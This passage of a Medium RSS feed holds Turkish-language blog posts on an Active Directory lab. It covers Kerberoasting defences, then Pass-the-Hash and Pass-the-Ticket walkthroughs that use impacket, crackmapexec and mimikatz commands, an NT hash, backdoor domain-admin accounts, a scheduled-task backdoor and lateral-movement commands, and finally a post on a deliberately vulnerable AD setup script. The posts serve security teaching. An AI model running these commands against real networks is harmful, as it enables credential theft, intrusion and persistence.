Getirilmeli</h4><p>Hizmete özel hesaplar (service account) genellikle yıllarca değiştirilmemiş, karmaşık olmayan ve logon denetimine kapalı parolalarla çalışır. Bunları daha güvenli hale getirmek için:</p><p>✦ Minimum Yetki Prensibi (<strong>Principle of Least Privilege</strong>) uygulanmalı</p><p>Her servis hesabı sadece ihtiyaç duyduğu kadar yetkiyle çalışmalıdır. Domain Admin gibi ayrıcalıklı yetkilerle çalışan servis hesapları hem yanlış yapılandırmanın hem de hedefli saldırıların kurbanı olur.</p><p>✦ Güçlü ve Rastgele Parolalar kullanılmalı</p><p>Servis hesaplarında kullanılan parolalar, brute-force saldırılarına dayanıklı olmalıdır. <strong>En az 25 karakterlik</strong>,<strong> rastgele üretilmiş</strong> ve <strong>sözlük dışı </strong>parolalar önerilir. Bu parolaların belirli aralıklarla değiştirilmesi gerekir.</p><p>✦ gMSA (<strong>Group Managed Service Accounts</strong>) <strong>Kullanımı</strong></p><p>Kerberoasting’e karşı en güçlü savunmalardan biri <strong>gMSA</strong> kullanımıdır. Bu hesaplar parolalarını otomatik olarak AD DS üzerinde şifreli biçimde tutar ve yönetir. Ayrıca parola kullanıcılar tarafından doğrudan okunamaz. Böylece hash çıkarımı veya parola sızıntısı riskleri büyük ölçüde azalır.</p><h4>2. SPN Denetimi ve İzleme</h4><p>Kerberoasting’in ilk adımı olan SPN keşfi, aslında domain’deki birçok kullanıcı için erişilebilir bir bilgidir. Bu yüzden aşağıdaki denetimler yapılmalıdır:</p><p>✦ SPN ile Atanmış Hesapların Periyodik Envanteri</p><p>Domain üzerindeki tüm SPN’leri listeleyerek hangi hesaplara atanmış olduklarını, bu hesapların ne kadar yetkili olduğunu ve parola politikalarını görmek gerekir.</p><p>✦ SPN’li Hesaplar Üzerinde Logon Denetimi</p><p>SPN atanmış hesapların kullanımını izlemek için <strong>Event ID 4769<em> </em></strong>(A Kerberos service ticket was requested) üzerinden log takibi yapılabilir. Log analizi için kaynak IP kontrolü yapılmalı, şüpheli kullanıcılar (örn. her SPN’e istek atanlar) incelenmelidir.</p><p>✦ Anormal SPN Erişimlerinin Tespiti</p><p>Her SPN’e istek atan kullanıcılar genellikle <strong>Rubeus </strong>gibi toollar kullanır. Eğer bir kullanıcı 30 saniye içinde 15&#39;ten fazla SPN’e TGS isteği gönderiyorsa bu şüpheli davranış olarak <strong>loglanmalıdır</strong>. SIEM veya EDR araçları bu davranışı korelasyon kuralları ile tespit edebilir.</p><h4>3. Kerberos Konfigürasyonu ve Şifreleme Güvenliği</h4><p>✦ RC4-HMAC’i Devre Dışı Bırakma</p><p>Kerberoasting saldırılarında kırılabilir hale gelen hash formatı genellikle <strong>etype 23</strong> yani <strong>RC4-HMAC</strong> olur. Bu nedenle mümkünse bu algoritma destek dışı bırakılmalıdır.</p><p>GPO Üzerinden RC4&#39;ü devre dışı bırakmak için aşağıdaki adımları izleyebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8wRAC4lHkmonuStWPG1nQ.png" /></figure><p>Açılan pencerede yalnızca AES128 ve AES256 seçili bırakılmalıdır.<br>Ayrıca Servis hesaplarında “<strong>This account supports Kerberos AES 128/256 bit encryption</strong>” kutucuklarının işaretli olduğundan emin olun. Aksi takdirde istemci, daha düşük bir şifreleme türü (ör. RC4) seçebilir.</p><h4>4. Kullanıcı Erişim Kontrolleri ve Denetim</h4><p>✦ SPN’lere Sahip Hesapların <strong>Interactive Logon Yetkisi Olmamalı</strong></p><p>Bir servis hesabı, kullanıcı gibi sisteme giriş yapmamalıdır. “<strong>Deny log on locally</strong>” ve “<strong>Deny log on through RDP</strong>” GPO ayarları ile bu yetkiler kaldırılmalıdır.</p><h4>5. SIEM &amp; Detection Engineering (Tespit Mimarisi)</h4><p>Kerberoasting saldırılarını tespit etmek için aşağıdaki içerik ve teknikler kullanılabilir:</p><p>✦ Event ID 4769 İzlenmeli (Kerberos Service Ticket Request)</p><ul><li>Service Name: MSSQLSvc, HTTP, HOST gibi yaygın SPN’ler</li><li>En çok hangi kullanıcılar hangi servisler için TGS talep ediyor?</li><li>SPN sorgusu yapan kullanıcılar, saldırı hedefi mi yoksa iç denetçi mi?</li></ul><p>✦ Brute-Force Davranışlarının Tespiti</p><p>Brute-force araçları TGS hash’lerini kırmaya çalışırken belirli kalıplarda log bırakabilir. Özellikle çok kısa süreli <strong>ardışık istekler</strong> veya <strong>bilinmeyen IP</strong>’lerden gelen yoğun talepler, tespit sistemlerine <strong>tanımlanmalıdır</strong>.</p><p>✦ Threat Hunting ve Anomali Tabanlı Analiz</p><p>Threat hunting süreçlerinde <strong>SPN yoğunluk grafikleri, anormal TGS istekleri,</strong> SPN’li hesaplarda aniden başlayan yoğun erişim gibi göstergeler analiz edilmelidir. Bu grafikler, Power BI ya da Kibana gibi araçlarla görselleştirilebilir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7b9a4de0bab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Ortamında Pass-the-Hash ve Pass-the-Ticket Saldırıları]]></title>
            <link>https://medium.com/@eysadilbercakil/active-directory-ortam%C4%B1nda-pass-the-hash-ve-pass-the-ticket-sald%C4%B1r%C4%B1lar%C4%B1-8e9d63e892da?source=rss-5474899d8570------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e9d63e892da</guid>
            <category><![CDATA[pass-the-ticket]]></category>
            <category><![CDATA[pass-the-hash]]></category>
            <category><![CDATA[pass-the-hash-attack]]></category>
            <category><![CDATA[pass-the-ticket-attack]]></category>
            <dc:creator><![CDATA[eysa]]></dc:creator>
            <pubDate>Tue, 13 May 2025 14:02:54 GMT</pubDate>
            <atom:updated>2025-05-23T22:42:19.320Z</atom:updated>
            <content:encoded><![CDATA[<p>Bu yazıda zafiyetli bir Active Directory ortamında kimlik bilgisi sızdırma ve yetki yükseltme teknikleri olan Pass-the-Hash vePass-the-Ticket saldırılarını ele alacağız.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*hORz4BIwU0GANKiafXzinA.png" /></figure><p>Önceki yazılarda kurduğumuz ve zafiyetli hale getirdiğimiz lab ortamını kullanacağız. Bu lab bir windows server 2019, bir windows 10 client ve bir de kali linux içermektedir.</p><p>Saldırılara başlamadan önce ihtiyaç duyacağımız araçları kuralım, tanıyalım.</p><h4>Kullanacağımız Toollar</h4><ul><li><strong>Impacket: </strong>secretdump.py, wmiexec.py, psexec.py gibi AD saldırı araçlarını içerir. Aşağıdaki komut ile kali’de kurabilirsiniz:<br>sudo apt install impacket-scripts -y</li><li><strong>CrackMapExec: </strong>SMB üzerinden hash doğrulama, servis tespiti ve daha fazlasını sağlar. Aşağıdaki komut ile kali’de kurabilirsiniz:<br>sudo apt install crackmapexec</li><li><strong>Mimikatz:</strong> Windows sistemlerde hash ve bilet çıkarma aracıdır. LSASS üzerinden NTLM hash’leri ve Kerberos biletleri çekilebilir.</li><li><strong>Rubeus: </strong>Kerberos bileti oluşturma ve yönetme için PowerShell aracıdır. TGT ve TGS biletleri ile çalışabilir. Golden Ticket ve Silver Ticket gibi ileri düzey saldırı senaryolarının test edilmesinde kullanılır.</li></ul><h3>Pass-the-Hash (PtH) Saldırısı</h3><p><strong>Pass-the-Hash </strong>saldırısı, bir kullanıcının parolasının <strong>NTLM hash değeri</strong> biliniyorsa, bu hash doğrudan kimlik doğrulamada kullanılabilir anlamına gelir. Bu teknik sayesinde, saldırgan parolanın kendisini çöz<strong>me</strong>den, sadece hash değeri ile sisteme erişim sağlayabilir. !NTLM hash, Windows sistemlerinde kullanıcı parolalarının saklandığı kriptografik formattır.</p><p>Bu yöntem özellikle <strong>Domain ortamlarında Yanal hareket (lateral movement), Yetki yükseltme</strong> gibi iç ağ saldırılarında sıklıkla tercih edilir.</p><h4>Saldırıyla Neler Yapılabilir?</h4><ul><li>Elde edilen hash ile hedef makineye uzaktan komut çalıştırılabilir. (remote code execution)</li><li>SMB, WMI gibi servisler üzerinden sisteme erişilebilir.</li><li>Sistemde oturum açılmış başka kullanıcıların hash’leri veya Kerberos biletleri alınabilir.</li></ul><h3>Adım Adım Pass-the-Hash Saldırısı</h3><p><strong>Özetle nasıl yapacağız: </strong>Öncelikle, hedef sistemde Admin yetkisi olan bir kullanıcıya ait <strong>NTLM hash’i elde et</strong>meliyiz. Bunun için Impacket içerisindeki <strong>secretsdump.py aracını kullan</strong>ıyoruz. Bu araç ile NTLM hash’i elde ettikten sonra bu hash’in <strong>gerçekten oturum açma hakkı olup olmadığını gör</strong>mek için <strong>crackmapexec aracını kullan</strong>acağız. Hash geçerliyse, artık hedef sistemde <strong>uzaktan komut çalıştırabilir</strong>iz. Bunun için <strong>psexec.py aracını kullan</strong>acağız. Eğer psexec.py bazı sistemlerde çalışmazsa (örneğin firewall veya Antivirüs nedeniyle), <strong>wmiexec.py </strong>aracı ile komut çalıştırmak da mümkündür. Şimdi adım adım uygulayalım.</p><h4>Adım 1: Kullanıcı Hash’ini Ele Geçir</h4><p>Öncelikle, hedef sistemde <strong>Admin yetkisi olan</strong> bir kullanıcıya ait NTLM hash’i elde etmeliyiz. Bunun için impacket içerisindeki secretsdump.py aracını kullanıyoruz. Aşağıdaki komutu yazdıktan sonra doğru şifreyi girip ekran görüntüsündekine benzer bir çıktı alırız.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*LWx6XhaRun52eNvd_-_ubg.png" /></figure><p>Burada uid:rid:lmhash:nthash bilgileri yer alır. <br><strong>- uid (User Identifier): </strong>Windows sistemlerinde her kullanıcıya atanan bir <strong>kullanıcı ID’sidir</strong>. Genellikle <strong>500</strong> (Administrator için) <strong>501</strong> (Guest için) gibi sayılarla ifade edilir.<br>- <strong>rid (Relative Identifier):</strong> bir kullanıcıya veya gruba atanmış ve o kullanıcıyı/grubu sistemde tanımlayan bir sayıdır. Kullanıcıya veya gruba ait olan şifre verisinin bulunduğu kayıtları belirlemek için önemlidir.<br>- <strong>lmhash (Lan Manager Hash): </strong>eski bir şifreleme algoritması olan <strong>Lan Manager</strong> algoritması ile oluşturulmuş şifre hash’idir.<br>-<strong>nthash (NT Hash)</strong>: <strong>nthash</strong>, <strong>NTLM (NT LAN Manager)</strong> algoritması ile oluşturulmuş şifre hash’idir. <strong>32 karakterlik bir hex kodu</strong> olarak görünür. Bu hash değeri, Pass-the-Hash saldırılarında kullanılır. Bizim için önemli olan kısımdır.</p><h4>Adım 2: Hash’in Geçerli Olup Olmadığını Kontrol Et</h4><p>Bu hash’in gerçekten oturum açma hakkı olup olmadığını görmek için crackmapexec aracı kullanılır. Eğer hash geçerliyse Pwn3d! veya VALID gibi bir ibare görürüz.</p><p>Pwn3d! veya VALID gibi bir çıktı gördüysek, artık hash’in geçerli ve <strong>Domain Controller’a (DC) admin yetkileriyle erişim sağlanabiliyor</strong> demektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v9N0xTy0TdGc9hEPlnMUhA.png" /></figure><h4>Adım 3: Oturum aç ve sınırlarını zorla</h4><p>Bundan sonra yapabileceğimiz çok fazla şey var. Örneğin crackmapexec ile komut çalıştırabiliriz, psexec.py ile shell açabiliriz, <strong>NTDS.dit ve SYSTEM Hive </strong>dosyalarını çekebiliriz. Hatta eğer Administrator ile değil de başka yetkilerde bir hesapla oturum açıyor olsaydık kalıcılık sağlamak için bir domain admin hesabı bile oluşturabilirdik. Peki nasıl? ↓</p><p><strong>- crackmapexec ile komut çalıştır</strong></p><p>Elde ettiğimiz hash’in geçerli olduğunu görmüştük. Artık bu hash ile uzaktan komut çalıştırabiliriz. Bunun için crackmapexec aracı kullanılabilir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N3jfqAs_TvYnFa3DvtAlew.png" /></figure><p>-x parametresi çalıştırmak istediğimiz komutu temsil eder. Örnekte, hangi kullanıcı olarak oturum açıldığını görmek için whoami komutu kullanılmıştır. Bu komutla birlikte sistem bize fotoğraftaki gibi bir çıktı dönerse, sistemde domain admin yetkileriyle uzaktan komut çalıştırabildiğimizi anlarız.</p><p><strong>- psexec.py ile Shell Açmak</strong></p><p>psexec.py aracı hedef sisteme SMB üzerinden bir servis yaratır ve bize komut satırı yetkisi verir. DC üzerinde <strong>NT AUTHORITY\SYSTEM</strong> yetkisiyle bir shell(cmd) açılır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*f2kJa4VdEs60XZ9fFpC1vw.png" /></figure><p>Eğer psexec.py antivirüs veya güvenlik yazılımları tarafından engellenirse, alternatif olarak wmiexec.py ya da smbexec.py kullanılabilir.</p><p><strong>- NTDS.dit ve SYSTEM Hive Dosyalarını Çekmek</strong></p><p>Bu noktada Domain Controller’a SYSTEM yetkisiyle eriştiğimiz için, domain’deki <strong>tüm kullanıcıların hash’lerini</strong> içeren NTDS.dit dosyasını çekebiliriz. Bunun için yine secretsdump.py kullanılır ama bu kez -just-dc parametresiyle:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TSJ2jJgsy-WDKucpLjEOpg.png" /></figure><p>Bu komut çalıştıktan sonra DC üzerindeki tüm kullanıcıların NTLM hash’leri terminale dökülür.</p><p>Bu hash’lerle başka kullanıcılar üzerinden <strong>yatay hareket (lateral movement)</strong> yapılabilir veya sistemde farklı izinlere sahip kullanıcılarla erişim denenebilir.</p><p><strong>- BloodHound ile Domain Analizi</strong></p><p>Domain ortamındaki kullanıcılar, gruplar, bilgisayarlar, GPO’lar ve aralarındaki ilişkiler hakkında bilgiler toplanır. Kalıcılık (persistence) ve yetki yükseltme (privilege escalation) için kritik bilgiler sağlar.</p><pre>bloodhound-python -u Administrator -p &#39;&#39; -hashes :906fe753fa77ea7fe579a272928b5c13 -d domain.local -dc 192.168.1.4 -c all</pre><p>BloodHound arayüzü üzerinden bu bilgiler grafiksel olarak analiz edilebilir.</p><p><strong>- Kalıcılık Sağlamak</strong></p><p>Elde edilen ayrıcalıklarla sistemde kalıcı olmak adına yeni bir domain admin hesabı oluşturulabilir.</p><pre>net user backdoor P@ssw0rd123 /add<br>net group &quot;Domain Admins&quot; backdoor /add</pre><p>Oluşturduğumuz kullanıcı, sistem yeniden başlatılsa bile oturum açabilir ve sistemi kontrol edebilir.</p><p><strong>- Anti-Forensics</strong></p><p>Gerçek saldırganlar sistemde iz bırakmamak için olay günlüklerini (event logs) temizler. Bu adım genellikle etik testlerde yapılmaz ama senaryonun bütünlüğü açısından bilinmesinde fayda vardır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pB4vCcbemL0I00QSGtslPw.png" /></figure><h3>Pass-the-Ticket (PtT) Saldırısı</h3><p>Pass-the-Ticket saldırısı, Kerberos kimlik doğrulama protokolüne özgü bir tekniktir. Bu saldırıda, NTLM hash yerine Kerberos bileti ( TGT, TGS) kullanılarak sistemde kimlik doğrulaması yapılır. <strong>Yani, hedef kullanıcının şifresi veya hash değeri yerine, halihazırda elde edilmiş bir Kerberos bileti ile o kullanıcıymış gibi sisteme erişim sağlanabilir.</strong> Active Directory ortamlarında <strong>yanal hareket (lateral movement)</strong> ve ayrıcalıklı erişim sağlama amacıyla kullanılır.</p><h4>Kerberos Temelleri</h4><p>Kerberos, AD’de kimlik doğrulama işlemlerini yöneten, zaman damgasına dayalı çalışan protokoldür. Kullanıcı, önce KDC’den bir TGT alır. Bu bilet ile TGS’ye başvurarak belirli servisler için TGS bileti alır. Her iki bilet de bellekte saklanır. İşte saldırganın hedefi de budur: Bu biletleri çalmak ve kullanmak. Peki detaylarıyla bu sistem nasıl işler? ↓</p><ul><li>Kullanıcı bir bilgisayarda oturum açtığında, sistem onun şifresini kullanarak bir kimlik doğrulama talebi oluşturur ve bu talep Domain Controller üzerinde çalışan Kerberos sunucusuna (KDC — Key Distribution Center) gönderilir.</li><li>KDC, sistemin güven merkezidir ve aslında iki önemli bileşenden oluşur: <strong>Authentication Server (AS) ve Ticket Granting Service (TGS)</strong>. İlk olarak AS devreye girer ve kullanıcının kimliğini doğrular. Eğer bilgiler doğruysa, kullanıcıya bir Ticket Granting Ticket (TGT) gönderir. Bu bilet, kullanıcıya kimlik doğrulamasının başarılı olduğunu ispatlayan bir dijital geçiş belgesi gibidir. Aynı zamanda bu TGT bileti, kullanıcının her hizmete erişmek istediğinde tekrar tekrar şifresini girmesine gerek kalmadan erişim almasını sağlar.</li><li>TGT’yi aldıktan sonra, kullanıcı örneğin bir dosya sunucusuna erişmek isterse, bu kez TGT biletiyle birlikte TGS’ye başvurur. TGS, bu isteği onaylarsa, kullanıcının istediği hizmete özel bir bilet (TGS bileti) üretir. Artık kullanıcı bu hizmet biletini kullanarak hedef kaynağa (örneğin \fileserver\paylasim gibi) doğrudan erişebilir. Üstelik bu erişim, kullanıcı şifresi girilmeden, sadece Kerberos’un sağladığı biletlerle gerçekleştirilir.</li><li>İşte saldırganlar da bu sistemi hedef alır: Bellekteki TGT veya TGS biletlerini ele geçirerek, gerçek kullanıcıların kimliğine bürünür ve sisteme sanki onlar oturum açmış gibi erişim sağlarlar. Parolaya ya da hash’e ihtiyaç duyulmadan, sadece geçerli bir biletle yapılan bu erişim biçimi, Pass-the-Ticket saldırısının temelini oluşturur.</li></ul><h4>Adım Adım Pass-the-Ticket Saldırısı</h4><p><strong>Adım 1. Hedef Sisteme Erişim ve Mimikatz indirilmesi</strong></p><p><strong>Saldırgan, oturum açmış bir kullanıcının sistemindeyse, </strong>(ki bunu pth saldırısını anlatırken bu medium yazısının en başında yapmıştık)<strong> </strong>RAM’de bulunan Kerberos biletlerini Mimikatz gibi araçlarla çekebilir. Öncelikle tekrar psexec.py komutu ile <strong>kullanıcının sistemine</strong> giriş yapılır. Sisteme girişin ardından powershelle erişimimiz olacağı için mimikatz aracı yok ise indirebilir.</p><p>Mimikatz indirmek için Kali’de mimikatz.exe nin bulunduğu dizinde basit bir HTTP sunucusu kurup, Windows DC üzerinde mimikatz aracını indirebiliriz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*2QcCaNcfEqc2uww0uK-0-g.png" /><figcaption>mimikatz indirmek icin basit bir HTTP sunucusu</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*UgFutAaLRdE5YX8oaCo7LA.png" /><figcaption>hesaba erişim ve mimikatz’ın DC’ye indirilmesi</figcaption></figure><p><strong>Adım 2. Kerberos Biletlerini Çekme (Dumping Kerberos Tickets)</strong></p><p>DC’ye psexec.py ile bağlandığımızdan dolayı SYSTEM haklarına sahip oluyoruz. Bu hak ile mimikatz.exe’yi doğrudan çalıştırabiliriz veprivilege::debug komutu ile debug modunu açıp, sekurlsa::tickets komutu ileKerberos biletlerini çekebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*QRqMTrfAV-uvhfYGR2lrKQ.png" /></figure><p>Bu komutlarla sistemdeki tüm aktif Kerberos biletleri listelenir. TGT veya yüksek ayrıcalıklı bir TGS bileti yakalanırsa, PtT için uygundur.</p><p>kerberos::list /exportbu komut, biletleri .kirbi dosyaları olarak aynı dizine kaydeder. Bu dosyalar ileride <strong>inject</strong> etmek için kullanılabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*iQ-gJiiXyefv1ZghwOHviw.png" /></figure><p><strong>Adım 3. Kerberos Biletini Inject Etme</strong></p><p>Elimizde bir .kirbi dosyası varsa veya Mimikatz bellekteki bir bileti seçip inject edebiliyorsa, artık bu bileti başka bir kullanıcıya “geçirmiş” oluruz. Bu bize başka sistemlere erişim sağlar (örneğin, başka bir dosya sunucusu, Domain Controller, SQL Server vb.).</p><p>İlgili .kirbi dosyasını inject etmek için aşağıdaki komut kullanılır. Biletin gerçekten inject edildiğini kontrol etmek için ise <strong>kerberos::list </strong>komutu ile doğrularız. “ * Is injected” satırı varsa her şey yolunda demektir.</p><pre>kerberos::ptt C:\Users\Public\mimikatz\0-50a10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi</pre><p><strong>Adım 4. Erişim Testi ve Komut Çalıştırma</strong></p><p>Inject edilen bilet, örneğin Domain Controller’a veya başka bir sistemdeki kaynağa erişmek için kullanılabilir. Bu sayede, normalde parolaya sahip olmadığımız halde o kullanıcı gibi davranabiliriz.</p><ul><li>Bu biletle birlikte sistemde gezinebiliyor muyuz test edelim. Eğer <strong>“Access is denied”</strong> hatası alınmıyorsa ve dizin içeri görünüyorsa başarılı.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*80597RIZjEyFj2YuJ9mk6Q.png" /></figure><ul><li>PowerShell üzerinden komut çalıştırmak</li></ul><pre>Invoke-Command -ComputerName 192.168.1.4 -ScriptBlock { whoami }</pre><p>Bu komut, remote PowerShell üzerinden kim olarak bağlandığını gösterir. nt authority\system ya da domain\administrator gibi bir çıktı beklenir.</p><ul><li>CrackMapExec ile biletin geçerli olduğunu test etmek</li></ul><pre>export KRB5CCNAME=/tmp/krb5cc_0<br>impacket-getTGT -dc-ip 192.168.1.4 -hashes :906fe753fa77ea7fe579a272928b5c13 domain.local/Administrator<br>export KRB5CCNAME=Administrator.ccache<br>crackmapexec smb 192.168.1.4 -k</pre><p>Bu komutlar kali üzerinden Administrator.ccache dosyasını kullanarak SMB üzerinden kimlik doğrulaması yapar. Pwn3d! mesajı alınırsa erişim başarıyla gerçekleşmiş demektir.</p><h3>Saldırıdan Sonra Neler Yapılabilir? (Persistence, Lateral Movement, İz Silme)</h3><h4>Kalıcılık (Persistence) Sağlamak</h4><ul><li>Yeni bir kullanıcı oluşturulabilir.</li></ul><pre>net user backdoor P@ssw0rd! /add<br>net localgroup administrators backdoor /add</pre><ul><li>Scheduled Task ile arka kapı bırakılabilir.</li></ul><pre>schtasks /create /sc once /tn &quot;Update&quot; /tr &quot;powershell.exe -c Start-Process cmd.exe&quot; /st 00:00</pre><ul><li>Startup Script veya Registry’e payload eklenebilir.</li></ul><h4>Yanal Hareket (Lateral Movement)</h4><ul><li>Eğer hedef makinede <strong>WinRM</strong> (Windows Remote Management) açıksa, uzak PowerShell oturumu başlatılabilir.</li></ul><pre>Enter-PSSession -ComputerName 192.168.1.5 -Credential domain\Administrator</pre><ul><li>Eğer hedef sistemde <strong>RDP </strong>açıksa, Administrator biletini kullanarak masaüstüne bağlanılabilir.</li></ul><pre>xfreerdp /u:Administrator /krb5 /v:192.168.1.5</pre><ul><li><strong>SMB</strong> (<strong>PsExec</strong>) ile uzak sistemlerde komut çalıştırılabilir. Hedef sistemde SYSTEM haklarıyla cmd erişimi elde edilir.</li></ul><pre>export KRB5CCNAME=/tmp/krb5cc_Administrator<br>impacket-psexec -k -no-pass -dc-ip 192.168.1.4 domain.local/Administrator@192.168.1.5</pre><ul><li><strong>WMI </strong>(Windows Management Instrumentation) ile komut çalıştırılabilir. Sessiz, arka planda çalışan bir yöntemdir. Özellikle antivirüs tespitinden kaçmak için tercih edilir. SMB üzerinden olduğu gibi sistemde cmd benzeri bir oturum sağlar.</li></ul><pre>impacket-wmiexec -k -no-pass domain.local/Administrator@192.168.1.5</pre><ul><li>!! Lateral movement sadece direkt sıçrama değil, aynı zamanda <strong>yeni kimlik bilgilerini keşfetme</strong> <strong>(credential hunting)</strong> ile de olur.</li><li>Mimikatz ile sekurlsa::logonpasswords komutu çalıştırılarak RAM’deki başka kullanıcıların parolaları veya hash’leri alınabilir.</li><li>Bu bilgilerle başka sistemlere <strong>Pass-the-Hash</strong> veya <strong>Pass-the-Ticket</strong> yöntemiyle geçiş yapılabilir.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e9d63e892da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Lab Ortamını Zafiyetli Hale Getirmek]]></title>
            <link>https://medium.com/@eysadilbercakil/active-directory-lab-ortam%C4%B1n%C4%B1-zafiyetli-hale-getirmek-72d7228dc20f?source=rss-5474899d8570------2</link>
            <guid isPermaLink="false">https://medium.com/p/72d7228dc20f</guid>
            <category><![CDATA[vulnerable-ad-lab]]></category>
            <category><![CDATA[zafiyetli-ad-ortamı]]></category>
            <dc:creator><![CDATA[eysa]]></dc:creator>
            <pubDate>Fri, 25 Apr 2025 11:16:26 GMT</pubDate>
            <atom:updated>2025-04-25T11:16:26.836Z</atom:updated>
            <content:encoded><![CDATA[<p>Bu yazıda, önceki yazıda VMware üzerinde kurduğumuz Active Directory lab ortamını <strong>test amaçlı</strong> zafiyetli hale getireceğiz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*Pp8V5ewMMrJ1MSPAaOnFJw.png" /></figure><p>Lab ortamını zafiyetli hale getirmek için Github üzerindeki şu script kullanılacak:<br><a href="https://github.com/WazeHell/vulnerable-AD">https://github.com/WazeHell/vulnerable-AD</a></p><p>Bu script, AD ortamında çeşitli yapılandırma hataları ve zafiyetler oluşturarak saldırı senaryoları için uygun bir test ortamı kurar. Script çalıştırıldığında aşağıdaki değişiklikler yapılır:</p><ul><li>Domain içindeki kullanıcı ve gruplarda yetki karmaşası yaratılır</li><li>Parola politikaları zayıflatılır</li><li>Güvensiz servis yapılandırmaları aktif hale getirilir</li><li>Hassas kullanıcılar yanlış gruplara atanır</li><li>Admin hakları kontrolsüz dağıtılır</li></ul><p>Bu script yalnızca test amaçlı kullanılmalı ve üretim ortamlarında çalıştırılmamalıdır.</p><h3>Script’in Kurulumu ve Hazırlık</h3><p>Script’i kurmak için Domain Controller üzerinden admin yetkileriyle powershell açılır.</p><p>Script git clone komutu ile indirilir ve cd komutu ile indirilen dizine geçilip ./ ile çalıştırılır.</p><pre>git clone https://github.com/WazeHell/vulnerable-AD.git<br>cd vulnerable-AD<br>.\vulnerable-ad.ps1</pre><h4>Script’in başarıyla çalışması için:</h4><p>Kullanıcı hesabınızın Domain Admin yetkileri olması gerekir.<br>Execution Policy ayarının Unrestricted olması gerekir:</p><pre>Set-ExecutionPolicy Unrestricted</pre><p>! Unrestricted: Her türlü PowerShell betiği çalıştırılabilir, betik çalıştırma kısıtlamalarını kaldırır.</p><p>Script başarıyla kurulduktan sonra AD ortamında birden fazla zafiyet aktif hale gelmiş olur.</p><h3><strong>NMAP Sorgusu ile Zafiyetli Makinenin Kontrolü</strong></h3><p>Kali Linux cihazından Domain Controller’a basit bir nmap taraması yaparak hangi servislerin açık olduğunu görebiliriz. Bunun için aşağıdaki komutlardan biri kullanılabilir:</p><pre>nmap -sV &lt;dc-ip&gt; <br>nmap -Pn &lt;dc-ip&gt;</pre><p>Örnek çıktı:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*rgJ9SxNOMy0Yvarpx2pCHQ.jpeg" /></figure><h3>Script Sonrası Kontroller</h3><p>vulnad.ps1 scripti çalıştırıldığında, Active Directory ortamında aşağıdaki zafiyetleri ve yapılandırma hatalarını oluşturur:</p><ul><li><strong>Yetki Denetimi Zafiyetleri (ACL/ACE):</strong> Bazı kullanıcı ve gruplara, nesneler üzerinde gereksiz veya aşırı yetkiler tanımlanır. Bu, saldırganların yetki yükseltme saldırıları gerçekleştirmesine olanak tanır.</li><li><strong>Kerberoasting ve AS-REP Roasting</strong>: Hizmet hesapları, saldırganların şifre hash’lerini elde edip kırmasına imkan verecek şekilde yapılandırılır.</li><li><strong>DnsAdmins Yetkisi:</strong> Bazı kullanıcılar, DNS sunucusu üzerinde tam yetkiye sahip “DnsAdmins” grubuna eklenir. Bu, sistem üzerinde tam kontrol elde etmek için kullanılabilir.​</li><li><strong>Silver ve Golden Ticket Saldırıları</strong>: Kerberos biletlerinin sahte olarak oluşturulup kullanılabileceği ortam hazırlanır.​</li><li><strong>Pass-the-Hash ve Pass-the-Ticket Saldırıları</strong>: NTLM hash’leri ve Kerberos biletleri üzerinden kimlik doğrulama yapılabilecek zafiyetler eklenir.​</li><li><strong>SMB Signing Devre Dışı:</strong> SMB protokolü için imzalama özelliği devre dışı bırakılır, bu da “man-in-the-middle” saldırılarına zemin hazırlar.</li><li><strong>DCSync Yetkisi:</strong> Bazı kullanıcılar, etki alanı denetleyicisinden parola hash’lerini çekebilecek şekilde yetkilendirilir.</li><li>Ve daha fazlası..</li></ul><h3>Sonraki Adım</h3><p>Bu yazı ile AD lab ortamını test edilebilir hale getirdik. Bir sonraki içerikte, bu zafiyetli ortam üzerinde <strong>Pass-the-Hash</strong> ve <strong>Pass-the-Ticket</strong> saldırılarını nasıl gerçekleştirebileceğimizi ve bunlara karşı alınabilecek savunma önlemlerini ele alacağım.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72d7228dc20f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Lab Ortamı Kurulumu]]></title>
            <link>https://medium.com/@eysadilbercakil/active-directory-lab-ortam%C4%B1-kurulumu-ffaa03a52a1c?source=rss-5474899d8570------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffaa03a52a1c</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[active-directory-lab]]></category>
            <category><![CDATA[active-directory-kurulum]]></category>
            <dc:creator><![CDATA[eysa]]></dc:creator>
            <pubDate>Sun, 23 Mar 2025 20:51:43 GMT</pubDate>
            <atom:updated>2025-04-24T07:59:18.597Z</atom:updated>
